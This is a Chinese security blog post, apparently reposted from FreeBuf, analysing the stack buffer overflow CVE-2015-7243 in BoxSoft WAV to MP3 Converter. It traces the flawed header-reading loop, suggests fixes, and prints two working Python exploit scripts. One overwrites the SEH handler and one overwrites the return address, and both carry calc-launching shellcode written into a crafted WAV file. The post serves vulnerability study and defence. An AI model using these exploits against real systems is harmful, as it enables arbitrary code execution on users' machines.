神刀安全网

BoxSoft WAV to MP3 Converter 软件漏洞分析(CVE-2015-7243)

聚锋实验室:xiaomingsiu

1、软件介绍

BoxSoft WAV to MP3 Converter是一个100%免费功能强大的音频转换工具,可以批量的把WAV格式文件转换成高质量的MP3音频文件,它配备了标准的音频编码器,你可以设置比特率和一次转换多个音频文件,另一个方便的特性是可以设置热点目录,在wav转MP3时自动把文件写入该目录进行监视。

测试平台:Microsoft Windows XP Professional SP3 (中文版)

软件地址: http://www.boxoft.com/wav-to-mp3/

2、漏洞介绍

在用户使用本软件的时候,由于本软件编写过程中缺少对安全性溢出的检测;很容易造成黑客针对此软件编写特定的恶意代码,从而诱导用户打开含有恶意代码的mp3文件,对系统造成破坏,触发CVE-2015-7243漏洞。

在处理wav文件时,遇到头部开始的四字节不等于RIFF,没有结束处理而是继续读取文件寻找RIFF,直到遇到RIFF、读到文件末尾、读取的长度大于等于0×2000,三者其中之一才结束读取,但是处理函数并未分配如此大的空间用于存放读出的内容,所以我们只要构造不含有RIFF的超长字符串就会发生栈溢出,可导致执行任意代码,例如从指定地址下载恶意代码到本地运行。

漏洞等级:严重

poc地址: https://www.exploit-db.com/exploits/38035/

3、漏洞分析

(1)根据错误信息定位产生异常的代码

使用特定构造的wav文件,产生不可读的异常,载入到OD定位到地址0x004B9C7D处,由于[esi+eax]处所引用的地址不可读导致异常。

BoxSoft WAV to MP3 Converter 软件漏洞分析(CVE-2015-7243)

使用栈回溯的方式,发现如下代码段修改了那处地址,在此循环中,由于未对循环的长度进行校检导致栈溢出,覆盖了局部变量,使里面保存的地址被替换,引起上面的异常。

BoxSoft WAV to MP3 Converter 软件漏洞分析(CVE-2015-7243)

(2)使用工具分析此代码的产生异常的原因

使用PEID发现是DELPHI语言写的,因此载入到DEDEDARK,接下来分析此函数,函数开始时先读取wav前4个字节的内容AAAA保存在[esp + c]的位置(esp+c是一个字符数组首地址),之后是一个switch语句,开始时执行case 0。

BoxSoft WAV to MP3 Converter 软件漏洞分析(CVE-2015-7243)

在case 0中首先判断头4个字节是否等于RIFF,不等于则继续读出1个字节,等于则读出4个字节,esi是存放读出数据的偏移,如果一直不等于则一直从文件中读,直到读到文件的末尾或者是esi大于等于0×2000,但是本函数内部并没有那么大的局部空间,因此产生溢出。

进入0x004B9C6C中循环判断读入的数据是否等于edx中保存的字符串,在比较的过程中忽略大小写,即小写的a与大写的A是一样的。

在case 1中,判断接下来读入的4个字节是否等于WAVE,不等于则读出1个字节,等于则读出4个字节,如果一直不等于一直读,处理方式和上面一样,因此这也是一个能够产生溢出的代码段。

在case 2中,判断读入的4个字节是否等于fmt  (第4个字节是空格),不等于则继续读4个字节,然后移动上次判断是否等于fmt 的4个字节到临时变量中,这个临时变量是下一次需要读出的字节数,这次读完后吧前两个字节继续放入临时变量中。最开始读出的4个字节等于fmt ,则读出四个字节放入临时变量,以临时变量作为个数继续读出数据后再读4个字节。

BoxSoft WAV to MP3 Converter 软件漏洞分析(CVE-2015-7243)

(3)漏洞利用

知道了溢出的原理,接下来是利用此漏洞。首先使用覆盖SEH产生异常执行shellcode。寻找最近的SEH,地址为0x0105FEBC,保存文件读出来的内容数组首地址为0x0105EE98,因此先填充0×1024个A,然后填充”/xeb/x06/x90/x90″,接下来填充跳板地址,在xp中有safeSEH保护,则需要在未开启SEH的模块寻找跳板。首先查看本进程未开启SafeSEH的模块,结果只有主模块和msacm32.drv模块。

BoxSoft WAV to MP3 Converter 软件漏洞分析(CVE-2015-7243)

选取主模块,查找pop pop ret指令,找到的地址为:0x040144c,接下来填充弹出计算器的,之后填充5860个A,用于使栈溢出到不可写的位置,以此来产生异常执行我们的异常函数,运行程序弹出计算器。

BoxSoft WAV to MP3 Converter 软件漏洞分析(CVE-2015-7243)

EXP如下:

shellcode= ("/x33/xC0/x50/xB8/x2E/x64/x6C/x6C/x50/xB8/x65/x6C/x33/x32/x50/xB8"                              "/x6B/x65/x72/x6E/x50/x8B/xC4/x50/xB8/x7B/x1D/x80/x7C/xFF/xD0/x33"                              "/xC0/x50/xB8/x2E/x65/x78/x65/x50/xB8/x63/x61/x6C/x63/x50/x8B/xC4"                              "/x6A/x05/x50/xB8/xAD/x23/x86/x7C/xFF/xD0/x33/xC0/x50/xB8/xFA/xCA"                              "/x81/x7C/xFF/xD0")  buffer ="/x41"*4132  buffer +="/xeb/x06/x90/x90"                                     # next seh  跳到shellcode处  buffer +="/x4c/x14/x40/x00"                               # esh  buffer +=shellcode  buffer +="/x41"*5860  f =open("crash3r.wav","w")  f.write(buffer)  f.close()

由于本程序没有启用GS,则可以采用覆盖返回地址的方式跳转到shellcode,首先找到保存返回地址的地址:0x0105FEB8,于是填充0×1020个A,查找jmp esp跳板地址充当返回地址执行我们的shellcode,地址为:0x0043F062,接下来填充shellcode,运行程序弹出计算器。

EXP如下:

shellcode= ("/x33/xC0/x50/xB8/x2E/x64/x6C/x6C/x50/xB8/x65/x6C/x33/x32/x50/xB8"

"/x6B/x65/x72/x6E/x50/x8B/xC4/x50/xB8/x7B/x1D/x80/x7C/xFF/xD0/x33"

"/xC0/x50/xB8/x2E/x65/x78/x65/x50/xB8/x63/x61/x6C/x63/x50/x8B/xC4"

"/x6A/x05/x50/xB8/xAD/x23/x86/x7C/xFF/xD0/x33/xC0/x50/xB8/xFA/xCA"

"/x81/x7C/xFF/xD0")



buffer ="/x41"*4128

buffer +="/x62/xF0/x43/x00" # jmp esp

buffer +=shellcode



f =open("crash3r.wav","w")

f.write(buffer)

f.close()

4、修复方案:

(1)修改代码,一旦发现标志性字符串不匹配立即结束格式转换,而不是继续读取文件造成缓冲区溢出。

(2)增大保存wav文件内容的局部变量,使缓冲区足以在循环结束前存放格式判断的内容。

5、总结

在进行漏洞利用时首先需要对导致出现异常的代码进行分析,然后判断漏洞的类型,例如上面的缓冲区溢出漏洞,则可以填充超长字符串来对SEH或者返回地址进行覆盖,在选择跳板时,尽量选择自身模块,这样漏洞利用成功率会提高。

*作者: 聚锋实验室,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » BoxSoft WAV to MP3 Converter 软件漏洞分析(CVE-2015-7243)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮